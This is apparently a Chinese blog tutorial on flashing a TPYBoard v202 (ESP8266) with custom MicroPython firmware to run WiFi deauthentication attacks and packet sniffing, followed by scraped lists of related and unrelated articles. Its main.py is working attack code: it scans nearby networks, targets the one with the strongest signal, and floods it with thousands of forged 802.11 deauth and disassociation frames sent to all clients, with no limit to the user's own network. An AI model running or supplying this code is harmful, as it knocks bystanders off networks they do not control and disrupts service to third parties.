MicroPython实现wifi干扰与抓包
0×00前言
之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202。

0×01实现原理
a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。
b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。
0×02攻击构思
a) 程序一开始扫描附件的AP。
b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。
c) 将TPYBoardv202切换到同攻击AP相同的信道。
d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。
0×03编译烧写固件及程序源码
1、 编译固件
现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是
我自己动手编译了一次固件,地址:
https://github.com/PakchoiFood/micropython-deauth
大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:
https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。
下载后解压,文件如下:

firmware.bin文件:micropython-esp8266生成的固件。
增加的内容:
setAttack函数
参数:int类型(信道)
功能:设置esp8266的信道
send_pkt_freedom函数
参数:bytes数组(定义的数据包)
flash_download_tools_v3.3.6_win.rar:烧写固件的工具。
MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。
main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。
import time import uos import wireless sta_if=wireless.attack(0)#0:STA 模式 sta_if.active(True) ap_list=sta_if.scan() print(ap_list) ssid='' bssid=''#bssid:AP MAC address channel=''#信道 _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认 def deauth(_ap,_client,type,reason):
# 0 - 1 type, subtype c0:
deauth (a0: disassociate)
# 2 - 3 duration (SDK takes
care of that)
# 4 - 9 reciever (target)
# 10 - 15 source (ap)
# 16 - 21 BSSID (ap)
# 22 - 23 fragment & squence number
# 24 - 25 reason code (1 = unspecified reason)
packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,
0x00,0x01, 0x00])
for i in range(0,6):
packet[4 + i] =_client[i]
packet[10 + i] = packet[16 + i] =_ap[i]
#set type
packet[0] = type;
packet[24] = reason
result=sta_if.send_pkt_freedom(packet)
if result==0:
time.sleep_ms(1)
return True
else:
return False if __name__=="__main__":
max_rssid=0
max_id=0
num=0
#获取信号最强的AP 进行攻击
for i in ap_list:
if max_rssid==0: max_rssid=i[3]#rssid
else: if i[3]>max_rssid: max_rssid=i[3] max_id=num
num+=1
ssid=ap_list[max_id][0]
bssid=ap_list[max_id][1]
channel=ap_list[max_id][2]
print('ssid:',ssid,'-bssid:',bssid)
print('-channel:',channel,'-rssid:',max_rssid)
sendNum=5000#攻击次数
print('******************************')
if sta_if.setAttack(channel):
print('Set Attack OK')
time.sleep_ms(100)
print('---deauth runing-----')
for i in range(0,sendNum): r_=deauth(bssid, _client, 0xC0,
0x01) if r_: deauth(bssid, _client, 0xA0,
0x01) deauth(_client, bssid, 0xC0,
0x01) deauth(_client, bssid, 0xA0,
0x01) time.sleep_ms(5) else: print('---deauth fail-------') time.sleep_ms(5000)
sniffer文件夹下的main.py实现网络抓包功能。
import wireless import time #可以指定信道1~13
sniffer=wireless.sniffer(6) #0:表示从信道1开始 定时切换信道 #sniffer=wireless.sniffer(0)
烧写固件
1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。
3、选择firmware.bin固件文件,地址0×00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

5、等待下载完毕,关闭软件退出。
下载程序
6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。
.NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html
7、选择COM57,点击【Open】打开串口。

8、点击右侧的文件夹图标的按钮,选择main.py文件。

9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)
打开串口助手,就可以看到esp8266抓包的数据。

MicroPython实现wifi干扰与抓包的更多相关文章
- 笔记本设置wifi热点并抓包
现在很多人喜欢蹭wifi热点,这里演示一下怎么利用笔记本设置wifi热点来钓鱼.本机是win10操作系统. 一.设置笔记wifi热点:右键点击右下角网络图标 -> 打开“网络和Internet设 ...
- Mac下抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Mac OS X上使用Wireshark抓包
Wireshark针对UNIX Like系统的GUI发行版界面采用的是X Window(1987年更改X版本到X11).Mac OS X在Mountain Lion之后放弃X11,取而代之的是开源的X ...
- Android抓包方法(三)之Win7笔记本Wifi热点+WireShark工具
Android抓包方法(三) 之Win7笔记本Wifi热点+WireShark工具 前言 做前端测试,基本要求会抓包,会分析请求数据包,查看接口是否调用正确,数据返回是否正确,问题产生是定位根本原因等 ...
- Android通过tcpdump抓包(wifi, 2g, 3g都可以)
http://blog.csdn.net/deng529828/article/details/20646197 1. 手机要有root权限 2. 下载tcpdump http://www.str ...
- iOS Paros 连接在同一WIFI下的网络抓包
图文详解: 说说网络抓包,几天前的事了,想抓个包看看 某爱网(全名自己脑补)的数据,就上网找了一下抓包,以前经常抓接口,时间长了忘了.那时候也不是用苹果手机抓取的,前几天试着抓了一下,今天不适合敲代码 ...
- 前段时间碰到的一些问题(免费WiFi设置+fiddler对手机进行抓包+fiddler抓不到https的请求)
这段时间转入移动端测试,对这块比较陌生,工作开展起来比较困难,所以好多东西都只是以解决问题为第一目标,没有去细细推敲其中原理,可能会有些语无伦次之感,但还是记一下当时解决问题的大致思路,供以后参考. ...
- Airmon-ng抓包&破解wifi
安装 aircrack获取(aircrack源) sudo apt-get install aircrack-ng 配置 安装组件 sudo apt-get install build-essent ...
- 随身Wifi+win7 搭建http代理 域名劫持 抓包 内容篡改实验环境
需求来源: 1.平板或手机是个封闭系统无法给wifi设置代理 2.需要利用filllder进行抓包,内容篡改等实验 拥有硬件资源:PC机器 + 小米随身wifi 方案1: NtBind Dns + N ...
随机推荐
- -webkit/IE/Firefox的一些样式
仅限于-webkit的样式特效:-webkit-overflow-scrolling:touch;滚动时回弹效果:如果出现偶尔卡住不动的情况,那么在使用该属性的元素上不设置定位或者手动设置定位为sta ...
- python学习第三次
while循环 表示当条件成立的时候就循环适用于不知道具体循环次数,但是确定在某个条件成立的情况下就循环while语法:while 条件表达式:语句块#另一种表达方式while 条件表达式:语句块1e ...
- JS的type类型为 text/template
JS标签中有时候会看见<script type="text/tmplate" >,大概就是一个放置模板的地方,而这些东西并不显示在页面 在js里面,经常需要使用js往页 ...
- zabbix4.2学习笔记--新建用户组和用户
新建用户组 zabbix中管理机器是以用户组划分,这里新建一个只读用户群组和只读用户 新建用户组 点击 管理-用户组-创建用户群组,如下图 点击创建之后,有三列设置,分别是用户群组.权限和标签过滤器, ...
- 基于oauth2.0实现应用的第三方登录
OAuth2 OAuth2所涉及到的对象主要有以下四个: Client 第三方应用,我们的应用就是一个Client Resource Owner 资源所有者,即用户 Authorization Ser ...
- 216种Web安全颜色
216种Web安全颜色 全部 JavaScript HTML5 jQuery CSS EXT Ajax Web综合 界面设计 DWR 锁定老帖子 主题:216种Web安全颜色 精华帖 (0) :: ...
- [python] 时间序列分析之ARIMA
1 时间序列与时间序列分析 在生产和科学研究中,对某一个或者一组变量 进行观察测量,将在一系列时刻 所得到的离散数字组成的序列集合,称之为时间序列. 时间序列分析是根据系统观察得到的时间序列数据, ...
- JS判断字符串包含的方法
本文实例讲述了JS判断字符串包含的方法.分享给大家供大家参考.具体如下: 1. 例子: 1 2 3 4 5 6 7 8 var tempStr = "tempText" ; var ...
- 时间戳显示为多少分钟前,多少天前的JS处理
/* ** 时间戳显示为多少分钟前,多少天前的处理 ** eg. ** console.log(dateDiff(1411111111111)); // 2014年09月19日 ** console. ...
- gulp(1) 的使用
1.安装node.js 2.全局安装gulp.js npm install gulp -g 3.在项目本地根目录再安装(通过黑窗口安装)npm install --save-dev gulp/ 或者 ...